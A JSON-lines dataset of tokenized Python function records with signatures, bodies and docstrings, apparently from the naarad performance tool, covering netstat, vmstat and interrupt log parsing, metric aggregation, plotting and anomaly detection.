{"signature": "def _extract_input_processes(self):", "body": "for proc in self.processes:<EOL><INDENT>ends = proc.split('<STR_LIT:/>')<EOL>pid, name = self._get_tuple(ends)<EOL>self.input_processes.append((pid, name))<EOL><DEDENT>", "docstring": "Given user input of interested processes, it will extract the info and output a list of tuples.\n- input can be multiple values, separated by space;\n- either pid or process_name is optional\n- e.g., \"10001/python 10002/java cpp\"\n:return: None", "id": "f7867:c0:m3"}
{"signature": "def _match_host_port(self, host, port, cur_host, cur_port):", "body": "<EOL>host_match = False<EOL>if not host:<EOL><INDENT>host_match = True<EOL><DEDENT>elif cur_host.startswith(host):  <EOL><INDENT>host_match = True<EOL><DEDENT>port_match = False<EOL>if not port:<EOL><INDENT>port_match = True<EOL><DEDENT>elif port == cur_port:<EOL><INDENT>port_match = True<EOL><DEDENT>return host_match and port_match<EOL>", "docstring": "Determine whether user-specified (host,port) matches current (cur_host, cur_port)\n:param host,port: The user input of (host,port)\n:param cur_host, cur_port: The current connection\n:return: True or Not", "id": "f7867:c0:m4"}
{"signature": "def _match_processes(self, pid, name, cur_process):", "body": "cur_pid, cur_name = self._get_tuple(cur_process.split('<STR_LIT:/>'))<EOL>pid_match = False<EOL>if not pid:<EOL><INDENT>pid_match = True<EOL><DEDENT>elif pid == cur_pid:<EOL><INDENT>pid_match = True<EOL><DEDENT>name_match = False<EOL>if not name:<EOL><INDENT>name_match = True<EOL><DEDENT>elif name == cur_name:<EOL><INDENT>name_match = True<EOL><DEDENT>return pid_match and name_match<EOL>", "docstring": "Determine whether user-specified \"pid/processes\" contain this process\n:param pid: The user input of pid\n:param name: The user input of process name\n:param process: current process info\n:return: True or Not; (if both pid/process are given, then both of them need to match)", "id": "f7867:c0:m5"}
{"signature": "def _check_connection(self, local_end, remote_end, process):", "body": "<EOL>cur_host1, cur_port1 = self._get_tuple(local_end.split('<STR_LIT::>'))<EOL>cur_host2, cur_port2 = self._get_tuple(remote_end.split('<STR_LIT::>'))<EOL>host_port_is_interested = False<EOL>for (host1, port1, host2, port2) in self.input_connections:<EOL><INDENT>if self._match_host_port(host1, port1, cur_host1, cur_port1) and self._match_host_port(host2, port2, cur_host2, cur_port2):<EOL><INDENT>host_port_is_interested = True<EOL>break<EOL><DEDENT>if self._match_host_port(host1, port1, cur_host2, cur_port2) and self._match_host_port(host2, port2, cur_host1, cur_port1):<EOL><INDENT>host_port_is_interested = True<EOL>break<EOL><DEDENT><DEDENT>process_is_interested = False<EOL>for pid, name in self.input_processes:<EOL><INDENT>if self._match_processes(pid, name, process):<EOL><INDENT>process_is_interested = True<EOL>break<EOL><DEDENT><DEDENT>return cur_host1 + '<STR_LIT:_>' + cur_port1, cur_host2 + '<STR_LIT:_>' + cur_port2, host_port_is_interested and process_is_interested<EOL>", "docstring": "Check whether the connection is of interest or not\n:param local_end: Local connection end point, e.g., 'host1:port1'\n:param remote_end: Remote connection end point, e.g., 'host2:port2'\n:param process: Current connection 's process info, e.g., '1234/firefox'\n:return: a tuple of (local_end, remote_end, True/False); e.g. ('host1_23232', 'host2_2222', True)", "id": "f7867:c0:m6"}
{"signature": "def _add_data_line(self, data, col, value, ts):", "body": "if col in self.column_csv_map:<EOL><INDENT>out_csv = self.column_csv_map[col]<EOL><DEDENT>else:<EOL><INDENT>out_csv = self.get_csv(col)   <EOL>data[out_csv] = []<EOL><DEDENT>data[out_csv].append(ts + \"<STR_LIT:U+002C>\" + value)<EOL>", "docstring": "Append the data point to the dictionary of \"data\"\n:param data: The dictionary containing all data\n:param col: The sub-metric name e.g. 'host1_port1.host2_port2.SendQ'\n:param value: integer\n:param ts: timestamp\n:return: None", "id": "f7867:c0:m7"}
{"signature": "def parse(self):", "body": "<EOL>data = {}  <EOL>for infile in self.infile_list:<EOL><INDENT>logger.info('<STR_LIT>', infile)<EOL>timestamp_format = None<EOL>with open(infile) as fh:<EOL><INDENT>for line in fh:<EOL><INDENT>if '<STR_LIT>' not in line:<EOL><INDENT>continue<EOL><DEDENT>words = line.split()<EOL>if len(words) < <NUM_LIT:8> or words[<NUM_LIT:2>] != '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>ts = words[<NUM_LIT:0>] + \"<STR_LIT:U+0020>\" + words[<NUM_LIT:1>]<EOL>if not timestamp_format or timestamp_format == '<STR_LIT>':<EOL><INDENT>timestamp_format = naarad.utils.detect_timestamp_format(ts)<EOL><DEDENT>if timestamp_format == '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>ts = naarad.utils.get_standardized_timestamp(ts, timestamp_format)<EOL>if self.ts_out_of_range(ts):<EOL><INDENT>continue<EOL><DEDENT>local_end, remote_end, interested = self._check_connection(words[<NUM_LIT:5>], words[<NUM_LIT:6>], words[<NUM_LIT:8>])<EOL>if interested:<EOL><INDENT>self._add_data_line(data, local_end + '<STR_LIT:.>' + remote_end + '<STR_LIT>', words[<NUM_LIT:3>], ts)<EOL>self._add_data_line(data, local_end + '<STR_LIT:.>' + remote_end + '<STR_LIT>', words[<NUM_LIT:4>], ts)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>for csv in data.keys():<EOL><INDENT>self.csv_files.append(csv)<EOL>with open(csv, '<STR_LIT:w>') as fh:<EOL><INDENT>fh.write('<STR_LIT:\\n>'.join(sorted(data[csv])))<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Parse the netstat output file\n:return: status of the metric parse", "id": "f7867:c0:m8"}
{"signature": "def parse(self):", "body": "file_status = True<EOL>for input_file in self.infile_list:<EOL><INDENT>file_status = file_status and naarad.utils.is_valid_file(input_file)<EOL>if not file_status:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>status = True<EOL>data = {}  <EOL>for input_file in self.infile_list:<EOL><INDENT>logger.info('<STR_LIT>', input_file)<EOL>timestamp_format = None<EOL>with open(input_file) as fh:<EOL><INDENT>for line in fh:<EOL><INDENT>words = line.split()        <EOL>if len(words) < <NUM_LIT:3>:<EOL><INDENT>continue<EOL><DEDENT>ts = words[<NUM_LIT:0>] + \"<STR_LIT:U+0020>\" + words[<NUM_LIT:1>]<EOL>if not timestamp_format or timestamp_format == '<STR_LIT>':<EOL><INDENT>timestamp_format = naarad.utils.detect_timestamp_format(ts)<EOL><DEDENT>if timestamp_format == '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>ts = naarad.utils.get_standardized_timestamp(ts, timestamp_format)<EOL>if self.ts_out_of_range(ts):<EOL><INDENT>continue<EOL><DEDENT>col = words[<NUM_LIT:2>].strip('<STR_LIT::>')<EOL>if self.sub_metrics and col not in self.sub_metrics:<EOL><INDENT>continue<EOL><DEDENT>if len(words) > <NUM_LIT:4> and words[<NUM_LIT:4>]:<EOL><INDENT>unit = words[<NUM_LIT:4>]<EOL><DEDENT>else:<EOL><INDENT>unit = '<STR_LIT>'<EOL><DEDENT>self.sub_metric_unit[col] = unit<EOL>if col in self.column_csv_map:<EOL><INDENT>out_csv = self.column_csv_map[col]<EOL><DEDENT>else:<EOL><INDENT>out_csv = self.get_csv(col)   <EOL>data[out_csv] = []<EOL><DEDENT>data[out_csv].append(ts + \"<STR_LIT:U+002C>\" + words[<NUM_LIT:3>])<EOL><DEDENT><DEDENT><DEDENT>for csv in data.keys():<EOL><INDENT>self.csv_files.append(csv)<EOL>with open(csv, '<STR_LIT:w>') as fh:<EOL><INDENT>fh.write('<STR_LIT:\\n>'.join(sorted(data[csv])))<EOL><DEDENT><DEDENT>return status<EOL>", "docstring": "Parse the vmstat file\n:return: status of the metric parse", "id": "f7868:c0:m1"}
{"signature": "def parse(self):", "body": "file_status = True<EOL>for input_file in self.infile_list:<EOL><INDENT>file_status = file_status and naarad.utils.is_valid_file(input_file)<EOL><DEDENT>if not file_status:<EOL><INDENT>return False<EOL><DEDENT>status = True<EOL>data = {}  <EOL>for input_file in self.infile_list:<EOL><INDENT>logger.info('<STR_LIT>', input_file)<EOL>timestamp_format = None<EOL>with open(input_file) as fh:<EOL><INDENT>for line in fh:<EOL><INDENT>words = line.split()          <EOL>if len(words) < <NUM_LIT:3>:<EOL><INDENT>continue<EOL><DEDENT>ts = words[<NUM_LIT:0>] + \"<STR_LIT:U+0020>\" + words[<NUM_LIT:1>]<EOL>if not timestamp_format or timestamp_format == '<STR_LIT>':<EOL><INDENT>timestamp_format = naarad.utils.detect_timestamp_format(ts)<EOL><DEDENT>if timestamp_format == '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>ts = naarad.utils.get_standardized_timestamp(ts, timestamp_format)<EOL>if self.ts_out_of_range(ts):<EOL><INDENT>continue<EOL><DEDENT>col = words[<NUM_LIT:2>]<EOL>if self.sub_metrics and col not in self.sub_metrics:<EOL><INDENT>continue<EOL><DEDENT>self.sub_metric_unit[col] = '<STR_LIT>'  <EOL>if col in self.column_csv_map:<EOL><INDENT>out_csv = self.column_csv_map[col]<EOL><DEDENT>else:<EOL><INDENT>out_csv = self.get_csv(col)   <EOL>data[out_csv] = []<EOL><DEDENT>data[out_csv].append(ts + \"<STR_LIT:U+002C>\" + words[<NUM_LIT:3>])<EOL><DEDENT><DEDENT><DEDENT>for csv in data.keys():<EOL><INDENT>self.csv_files.append(csv)<EOL>with open(csv, '<STR_LIT:w>') as fh:<EOL><INDENT>fh.write('<STR_LIT:\\n>'.join(data[csv]))<EOL><DEDENT><DEDENT>return status<EOL>", "docstring": "Parse the vmstat file\n:return: status of the metric parse", "id": "f7869:c0:m1"}
{"signature": "def get_times(self, native):", "body": "start_time = <NUM_LIT:0><EOL>end_time = <NUM_LIT:0><EOL>launch_time = <NUM_LIT:0><EOL>nus_update_time = <NUM_LIT:0><EOL>for item in native:<EOL><INDENT>if item[CONSTANTS.LIA_TIMING_NAME] == CONSTANTS.LIA_APP_ON_CREATE and item[CONSTANTS.LIA_START] is not None:<EOL><INDENT>start_time = item[CONSTANTS.LIA_START][CONSTANTS.LIA_LONG]<EOL><DEDENT>if item[CONSTANTS.LIA_TIMING_NAME] == CONSTANTS.LIA_NUS_UPDATE:<EOL><INDENT>if item[CONSTANTS.LIA_TIMING_VALUE] is not None:<EOL><INDENT>nus_update_time = item[CONSTANTS.LIA_TIMING_VALUE][CONSTANTS.LIA_LONG]<EOL><DEDENT>if item[CONSTANTS.LIA_START] is not None:<EOL><INDENT>end_time = item[CONSTANTS.LIA_START][CONSTANTS.LIA_LONG]<EOL><DEDENT><DEDENT><DEDENT>if start_time == <NUM_LIT:0> or end_time == <NUM_LIT:0>:<EOL><INDENT>time_stamp = <NUM_LIT:0><EOL>launch_time = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>time_stamp = start_time<EOL>launch_time = end_time - start_time<EOL><DEDENT>return (time_stamp, launch_time, nus_update_time)<EOL>", "docstring": "get start time stamp, launch time duration, and nus update time duration from JSON object native\n:param JSON OBJECT native\n:return: LONG event time stamp, LONG launch time, and LONG nus update time", "id": "f7870:c0:m1"}
{"signature": "def get_aggregation_timestamp(self, timestamp, granularity='<STR_LIT>'):", "body": "if granularity is None or granularity.lower() == '<STR_LIT:none>':<EOL><INDENT>return int(timestamp), <NUM_LIT:1><EOL><DEDENT>elif granularity == '<STR_LIT>':<EOL><INDENT>return (int(timestamp) / (<NUM_LIT> * <NUM_LIT:1000>)) * <NUM_LIT> * <NUM_LIT:1000>, <NUM_LIT><EOL><DEDENT>elif granularity == '<STR_LIT>':<EOL><INDENT>return (int(timestamp) / (<NUM_LIT> * <NUM_LIT:1000>)) * <NUM_LIT> * <NUM_LIT:1000>, <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>return (int(timestamp) / <NUM_LIT:1000>) * <NUM_LIT:1000>, <NUM_LIT:1><EOL><DEDENT>", "docstring": "Return a timestamp from the raw epoch time based on the granularity preferences passed in.\n\n:param string timestamp: timestamp from the log line\n:param string granularity: aggregation granularity used for plots.\n:return: string aggregate_timestamp: timestamp used for metrics aggregation in all functions", "id": "f7872:c0:m12"}
{"signature": "def aggregate_count_over_time(self, metric_store, groupby_name, aggregate_timestamp):", "body": "all_qps = metric_store['<STR_LIT>']<EOL>qps = all_qps[groupby_name]<EOL>if aggregate_timestamp in qps:<EOL><INDENT>qps[aggregate_timestamp] += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>qps[aggregate_timestamp] = <NUM_LIT:1><EOL><DEDENT>return None<EOL>", "docstring": "Organize and store the count of data from the log line into the metric store by columnm, group name, timestamp\n\n:param dict metric_store: The metric store used to store all the parsed the log data\n:param string groupby_name: the group name that the log line belongs to\n:param string aggregate_timestamp: timestamp used for storing the raw data. This accounts for aggregation time period\n:return: None", "id": "f7872:c0:m13"}
{"signature": "def aggregate_values_over_time(self, metric_store, data, groupby_name, column_name, aggregate_timestamp):", "body": "<EOL>if self.groupby:<EOL><INDENT>metric_data = reduce(defaultdict.__getitem__, [column_name, '<STR_LIT>', aggregate_timestamp], metric_store)<EOL>metric_data.append(float(data))<EOL><DEDENT>metric_data = reduce(defaultdict.__getitem__, [column_name, groupby_name, aggregate_timestamp], metric_store)<EOL>metric_data.append(float(data))<EOL>return None<EOL>", "docstring": "Organize and store the data from the log line into the metric store by metric type, transaction, timestamp\n\n:param dict metric_store: The metric store used to store all the parsed log data\n:param string data: column data in the log line\n:param string groupby_name: the group that the data belongs to\n:param string column_name: the column name of the data\n:param string aggregate_timestamp: timestamp used for storing the raw data. This accounts for aggregation time period\n:return: None", "id": "f7872:c0:m14"}
{"signature": "def average_values_for_plot(self, metric_store, data, averaging_factor):", "body": "for column, groups_store in metric_store.items():<EOL><INDENT>for group, time_store in groups_store.items():<EOL><INDENT>for time_stamp, column_data in sorted(time_store.items()):<EOL><INDENT>if column in ['<STR_LIT>']:<EOL><INDENT>if self.groupby:<EOL><INDENT>data[self.get_csv(column, group)].append('<STR_LIT:U+002C>'.join([str(time_stamp), str(column_data / float(averaging_factor))]))<EOL><DEDENT>else:<EOL><INDENT>data[self.get_csv(column)].append('<STR_LIT:U+002C>'.join([str(time_stamp), str(column_data / float(averaging_factor))]))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if self.groupby:<EOL><INDENT>data[self.get_csv(column, group)].append('<STR_LIT:U+002C>'.join([str(time_stamp), str(sum(map(float, column_data)) / float(len(column_data)))]))<EOL><DEDENT>else:<EOL><INDENT>data[self.get_csv(column)].append('<STR_LIT:U+002C>'.join([str(time_stamp), str(sum(map(float, column_data)) / float(len(column_data)))]))<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>return None<EOL>", "docstring": "Create the time series for the various metrics, averaged over the aggregation period being used for plots\n\n:param dict metric_store: The metric store used to store all the parsed log data\n:param dict data: Dict with all the metric data to be output to csv\n:param float averaging_factor: averaging factor to be used for calculating the average per second metrics\n:return: None", "id": "f7872:c0:m15"}
{"signature": "def calc_key_stats(self, metric_store):", "body": "stats_to_calculate = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']  <EOL>percentiles_to_calculate = range(<NUM_LIT:0>, <NUM_LIT:100>, <NUM_LIT:1>)  <EOL>for column, groups_store in metric_store.items():<EOL><INDENT>for group, time_store in groups_store.items():<EOL><INDENT>data = metric_store[column][group].values()<EOL>if self.groupby:<EOL><INDENT>column_name = group + '<STR_LIT:.>' + column<EOL><DEDENT>else:<EOL><INDENT>column_name = column<EOL><DEDENT>if column.startswith('<STR_LIT>'):<EOL><INDENT>self.calculated_stats[column_name], self.calculated_percentiles[column_name] = naarad.utils.calculate_stats(data, stats_to_calculate, percentiles_to_calculate)<EOL><DEDENT>else:<EOL><INDENT>self.calculated_stats[column_name], self.calculated_percentiles[column_name] = naarad.utils.calculate_stats(list(heapq.merge(*data)), stats_to_calculate,<EOL>percentiles_to_calculate)<EOL><DEDENT>self.update_summary_stats(column_name)<EOL><DEDENT><DEDENT>", "docstring": "Calculate stats such as percentile and mean\n\n:param dict metric_store: The metric store used to store all the parsed log data\n:return: None", "id": "f7872:c0:m17"}
{"signature": "def calculate_stats(self):", "body": "metric_type = self.metric_type.split('<STR_LIT:->')[<NUM_LIT:0>]<EOL>if metric_type in naarad.naarad_imports.metric_classes or metric_type in naarad.naarad_imports.aggregate_metric_classes:<EOL><INDENT>self.calculate_other_metric_stats()<EOL><DEDENT>else:<EOL><INDENT>self.calculate_base_metric_stats()<EOL><DEDENT>", "docstring": "Calculate stats with different function depending on the metric type:\nData is recorded in memory for base metric type, and use calculate_base_metric_stats()\nData is recorded in CSV file for other metric types, and use calculate_other_metric_stats()", "id": "f7872:c0:m18"}
{"signature": "def plot_timeseries(self, graphing_library='<STR_LIT>'):", "body": "if self.groupby:<EOL><INDENT>plot_data = {}<EOL>for out_csv in sorted(self.csv_files, reverse=True):<EOL><INDENT>csv_filename = os.path.basename(out_csv)<EOL>transaction_name = \"<STR_LIT:.>\".join(csv_filename.split('<STR_LIT:.>')[<NUM_LIT:1>:-<NUM_LIT:1>])<EOL>if transaction_name in self.anomalies.keys():<EOL><INDENT>highlight_regions = self.anomalies[transaction_name]<EOL><DEDENT>else:<EOL><INDENT>highlight_regions = None<EOL><DEDENT>column = csv_filename.split('<STR_LIT:.>')[-<NUM_LIT:2>]<EOL>transaction_name = '<STR_LIT:U+0020>'.join(csv_filename.split('<STR_LIT:.>')[<NUM_LIT:1>:-<NUM_LIT:2>])<EOL>plot = PD(input_csv=out_csv, csv_column=<NUM_LIT:1>, series_name=transaction_name + '<STR_LIT:.>' + column,<EOL>y_label=column + '<STR_LIT>' + self.sub_metric_description[column] + '<STR_LIT:)>', precision=None, graph_height=<NUM_LIT>, graph_width=<NUM_LIT>, graph_type='<STR_LIT>',<EOL>highlight_regions=highlight_regions)<EOL>if transaction_name in plot_data:<EOL><INDENT>plot_data[transaction_name].append(plot)<EOL><DEDENT>else:<EOL><INDENT>plot_data[transaction_name] = [plot]<EOL><DEDENT><DEDENT>for transaction in plot_data:<EOL><INDENT>graphed, div_file = Metric.graphing_modules[graphing_library].graph_data(plot_data[transaction], self.resource_directory, self.resource_path,<EOL>self.label + '<STR_LIT:.>' + transaction)<EOL>if graphed:<EOL><INDENT>self.plot_files.append(div_file)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>graphed = False<EOL>for out_csv in self.csv_files:<EOL><INDENT>csv_filename = os.path.basename(out_csv)<EOL>transaction_name = \"<STR_LIT:.>\".join(csv_filename.split('<STR_LIT:.>')[<NUM_LIT:1>:-<NUM_LIT:1>])<EOL>if transaction_name in self.anomalies.keys():<EOL><INDENT>highlight_regions = self.anomalies[transaction_name]<EOL><DEDENT>else:<EOL><INDENT>highlight_regions = None<EOL><DEDENT>column = self.csv_column_map[out_csv]<EOL>column = naarad.utils.sanitize_string(column)<EOL>graph_title = '<STR_LIT:.>'.join(csv_filename.split('<STR_LIT:.>')[<NUM_LIT:0>:-<NUM_LIT:1>])<EOL>if self.sub_metric_description and column in self.sub_metric_description.keys():<EOL><INDENT>graph_title += '<STR_LIT>' + self.sub_metric_description[column] + '<STR_LIT:)>'<EOL><DEDENT>if self.sub_metric_unit and column in self.sub_metric_unit.keys():<EOL><INDENT>plot_data = [PD(input_csv=out_csv, csv_column=<NUM_LIT:1>, series_name=graph_title, y_label=column + '<STR_LIT>' + self.sub_metric_unit[column] + '<STR_LIT:)>',<EOL>precision=None, graph_height=<NUM_LIT>, graph_width=<NUM_LIT>, graph_type='<STR_LIT>', highlight_regions=highlight_regions)]<EOL><DEDENT>else:<EOL><INDENT>plot_data = [PD(input_csv=out_csv, csv_column=<NUM_LIT:1>, series_name=graph_title, y_label=column, precision=None, graph_height=<NUM_LIT>, graph_width=<NUM_LIT>,<EOL>graph_type='<STR_LIT>', highlight_regions=highlight_regions)]<EOL><DEDENT>graphed, div_file = Metric.graphing_modules[graphing_library].graph_data(plot_data, self.resource_directory, self.resource_path, graph_title)<EOL>if graphed:<EOL><INDENT>self.plot_files.append(div_file)<EOL><DEDENT><DEDENT><DEDENT>return True<EOL>", "docstring": "plot timeseries for sub-metrics", "id": "f7872:c0:m22"}
{"signature": "def check_important_sub_metrics(self, sub_metric):", "body": "if not self.important_sub_metrics:<EOL><INDENT>return False<EOL><DEDENT>if sub_metric in self.important_sub_metrics:<EOL><INDENT>return True<EOL><DEDENT>items = sub_metric.split('<STR_LIT:.>')<EOL>if items[-<NUM_LIT:1>] in self.important_sub_metrics:<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "check whether the given sub metric is in important_sub_metrics list", "id": "f7872:c0:m23"}
{"signature": "def plot_cdf(self, graphing_library='<STR_LIT>'):", "body": "graphed = False<EOL>for percentile_csv in self.percentiles_files:<EOL><INDENT>csv_filename = os.path.basename(percentile_csv)<EOL>column = self.csv_column_map[percentile_csv.replace(\"<STR_LIT>\", \"<STR_LIT:.>\")]<EOL>if not self.check_important_sub_metrics(column):<EOL><INDENT>continue<EOL><DEDENT>column = naarad.utils.sanitize_string(column)<EOL>graph_title = '<STR_LIT:.>'.join(csv_filename.split('<STR_LIT:.>')[<NUM_LIT:0>:-<NUM_LIT:1>])<EOL>if self.sub_metric_description and column in self.sub_metric_description.keys():<EOL><INDENT>graph_title += '<STR_LIT>' + self.sub_metric_description[column] + '<STR_LIT:)>'<EOL><DEDENT>if self.sub_metric_unit and column in self.sub_metric_unit.keys():<EOL><INDENT>plot_data = [PD(input_csv=percentile_csv, csv_column=<NUM_LIT:1>, series_name=graph_title, x_label='<STR_LIT>',<EOL>y_label=column + '<STR_LIT>' + self.sub_metric_unit[column] + '<STR_LIT:)>', precision=None, graph_height=<NUM_LIT>, graph_width=<NUM_LIT>, graph_type='<STR_LIT>')]<EOL><DEDENT>else:<EOL><INDENT>plot_data = [PD(input_csv=percentile_csv, csv_column=<NUM_LIT:1>, series_name=graph_title, x_label='<STR_LIT>', y_label=column, precision=None,<EOL>graph_height=<NUM_LIT>, graph_width=<NUM_LIT>, graph_type='<STR_LIT>')]<EOL><DEDENT>graphed, div_file = Metric.graphing_modules[graphing_library].graph_data_on_the_same_graph(plot_data, self.resource_directory,<EOL>self.resource_path, graph_title)<EOL>if graphed:<EOL><INDENT>self.plot_files.append(div_file)<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "plot CDF for important sub-metrics", "id": "f7872:c0:m24"}
{"signature": "def graph(self, graphing_library='<STR_LIT>'):", "body": "logger.info('<STR_LIT>'.format(lib=graphing_library, name=self.label))<EOL>self.plot_cdf(graphing_library)<EOL>self.plot_timeseries(graphing_library)<EOL>return True<EOL>", "docstring": "graph generates two types of graphs\n'time': generate a time-series plot for all submetrics (the x-axis is a time series)\n'cdf': generate a CDF plot for important submetrics (the x-axis shows percentiles)", "id": "f7872:c0:m25"}
{"signature": "def detect_anomaly(self):", "body": "if not self.anomaly_detection_metrics or len(self.anomaly_detection_metrics) <= <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>for submetric in self.anomaly_detection_metrics:<EOL><INDENT>csv_file = self.get_csv(submetric)<EOL>if naarad.utils.is_valid_file(csv_file):<EOL><INDENT>detector = anomaly_detector.AnomalyDetector(csv_file)<EOL>anomalies = detector.get_anomalies()<EOL>if len(anomalies) <= <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>self.anomalies[submetric] = anomalies<EOL>anomaly_csv_file = os.path.join(self.resource_directory, self.label + '<STR_LIT:.>' + submetric + '<STR_LIT>')<EOL>with open(anomaly_csv_file, '<STR_LIT:w>') as FH:<EOL><INDENT>for anomaly in anomalies:<EOL><INDENT>FH.write(\"<STR_LIT:U+002C>\".join([str(anomaly.anomaly_score), str(anomaly.start_timestamp), str(anomaly.end_timestamp), str(anomaly.exact_timestamp)]))<EOL>FH.write('<STR_LIT:\\n>')<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Detect anomalies in the timeseries data for the submetrics specified in the config file. Identified anomalies are\nstored in self.anomalies as well as written to .anomalies.csv file to be used by the client charting page. Anomaly\ndetection uses the luminol library (http://pypi.python.org/pypi/luminol)", "id": "f7872:c0:m26"}
{"signature": "def get_csv(self, cpu, device=None):", "body": "cpu = naarad.utils.sanitize_string(cpu)<EOL>if device is None:<EOL><INDENT>outcsv = os.path.join(self.resource_directory, \"<STR_LIT>\".format(self.label, cpu))<EOL>self.csv_column_map[outcsv] = cpu<EOL><DEDENT>else:<EOL><INDENT>device = naarad.utils.sanitize_string(device)<EOL>outcsv = os.path.join(self.resource_directory, \"<STR_LIT>\".format(self.label, cpu, device))<EOL>self.csv_column_map[outcsv] = cpu + '<STR_LIT:.>' + device<EOL><DEDENT>return outcsv<EOL>", "docstring": "Returns the CSV file related to the given metric. The metric is determined by the cpu and device.\nThe cpu is the CPU as in the interrupts file for example CPU12.\nThe metric is a combination of the CPU and device. The device consists of IRQ #, the irq device ASCII name.\n\n                                  CPU0   CPU1\n2014-10-29 00:27:42.15161    59:    29      2    IR-IO-APIC-edge    timer\n                              ^      ^      ^          ^              ^\n                              |      |      |          |              |\n                            IRQ#   Value  Value   IRQ Device       Ascii Name\n\nThis would produce a metric CPU0.timer-IRQ59 and CPU1.timer-IRQ59 so one per IRQ per CPU.\n\n:param cpu: The name of the cpu given as CPU#.\n:param device: The device name as given by the system. <ASCII name>-IRQ<IRQ #>\n:return: The CSV file for the metric.", "id": "f7873:c0:m1"}
{"signature": "def is_header_line(self, line):", "body": "return '<STR_LIT>' in line<EOL>", "docstring": "Checks to see if the line is a header line.\nThe header line style is currently:\n\n  2014-10-29 00:28:42.15161        CPU0   CPU1   CPU2   CPU3  ...\n\n:param line: The line of the file to check.\n:return: Boolean of true or false of whether line is header line or not.", "id": "f7873:c0:m2"}
{"signature": "def find_header(self, infile):", "body": "cpus = []<EOL>for line in infile:  <EOL><INDENT>if not self.is_header_line(line):<EOL><INDENT>continue<EOL><DEDENT>cpu_header = line.split()<EOL>for cpu_h in cpu_header[<NUM_LIT:2>:]:<EOL><INDENT>if not cpu_h.startswith('<STR_LIT>'):<EOL><INDENT>cpus = []  <EOL>break<EOL><DEDENT>else:<EOL><INDENT>cpus.append(cpu_h)<EOL><DEDENT><DEDENT>if len(cpus) > <NUM_LIT:0>:  <EOL><INDENT>break<EOL><DEDENT><DEDENT>return cpus<EOL>", "docstring": "Parses the file and tries to find the header line. The header line has format:\n\n  2014-10-29 00:28:42.15161        CPU0   CPU1   CPU2   CPU3  ...\n\nSo should always have CPU# for each core. This function verifies a good header and\nreturns the list of CPUs that exist from the header.\n\n:param infile: The opened file in read mode to find the header.\n:return cpus: A list of the core names so in this example ['CPU0', 'CPU1', ...]", "id": "f7873:c0:m3"}
{"signature": "def parse(self):", "body": "if not os.path.isdir(self.outdir):<EOL><INDENT>os.makedirs(self.outdir)<EOL><DEDENT>if not os.path.isdir(self.resource_directory):<EOL><INDENT>os.makedirs(self.resource_directory)<EOL><DEDENT>data = {}<EOL>for input_file in self.infile_list:<EOL><INDENT>logger.info('<STR_LIT>', input_file)<EOL>timestamp_format = None<EOL>with open(input_file, '<STR_LIT:r>') as infile:<EOL><INDENT>cpus = self.find_header(infile)<EOL>if len(cpus) == <NUM_LIT:0>:  <EOL><INDENT>logger.error(\"<STR_LIT>\", input_file)<EOL>continue<EOL><DEDENT>prev_data = None    <EOL>curr_data = {}      <EOL>eth_data = {}<EOL>for line in infile:<EOL><INDENT>if self.is_header_line(line):  <EOL><INDENT>prev_data = curr_data<EOL>curr_data = {}<EOL>for eth in eth_data:<EOL><INDENT>outcsv = self.get_csv('<STR_LIT>', eth)<EOL>if outcsv not in data:<EOL><INDENT>data[outcsv] = []<EOL><DEDENT>data[outcsv].append(ts + '<STR_LIT:U+002C>' + str(eth_data[eth]))<EOL><DEDENT>eth_data = {}<EOL>continue<EOL><DEDENT>words = line.split()<EOL>if len(words) <= <NUM_LIT:4>:  <EOL><INDENT>continue<EOL><DEDENT>ts = words[<NUM_LIT:0>] + \"<STR_LIT:U+0020>\" + words[<NUM_LIT:1>]<EOL>if not timestamp_format or timestamp_format == '<STR_LIT>':<EOL><INDENT>timestamp_format = naarad.utils.detect_timestamp_format(ts)<EOL><DEDENT>if timestamp_format == '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>ts = naarad.utils.get_standardized_timestamp(ts, timestamp_format)<EOL>if self.ts_out_of_range(ts):  <EOL><INDENT>continue<EOL><DEDENT>device = words[<NUM_LIT:2>].strip('<STR_LIT::>')  <EOL>if re.match(\"<STR_LIT>\", device):<EOL><INDENT>if (<NUM_LIT:4> + len(cpus)) < len(words):<EOL><INDENT>device = words[<NUM_LIT:4> + len(cpus)] + \"<STR_LIT>\" + device<EOL><DEDENT>else:<EOL><INDENT>device = \"<STR_LIT>\" + device<EOL><DEDENT><DEDENT>else:<EOL><INDENT>device = \"<STR_LIT:->\".join(words[(<NUM_LIT:3> + len(cpus)):]) + \"<STR_LIT>\" + device<EOL><DEDENT>for (cpu, datum) in zip(cpus, words[<NUM_LIT:3>:]):<EOL><INDENT>if self.CPUS and cpu not in self.CPUS:  <EOL><INDENT>continue<EOL><DEDENT>outcsv = self.get_csv(cpu, device)<EOL>curr_data[outcsv] = int(datum)<EOL>if outcsv in data:<EOL><INDENT>datum = int(datum) - prev_data[outcsv]  <EOL><DEDENT>else:<EOL><INDENT>data[outcsv] = []<EOL>datum = <NUM_LIT:0>  <EOL><DEDENT>data[outcsv].append(ts + '<STR_LIT:U+002C>' + str(datum))<EOL>m = re.search(\"<STR_LIT>\", device)<EOL>if m:<EOL><INDENT>eth = m.group('<STR_LIT>')<EOL>if eth not in eth_data:<EOL><INDENT>eth_data[eth] = <NUM_LIT:0><EOL><DEDENT>eth_data[eth] += datum<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>for csv in data.keys():<EOL><INDENT>self.csv_files.append(csv)<EOL>with open(csv, '<STR_LIT:w>') as 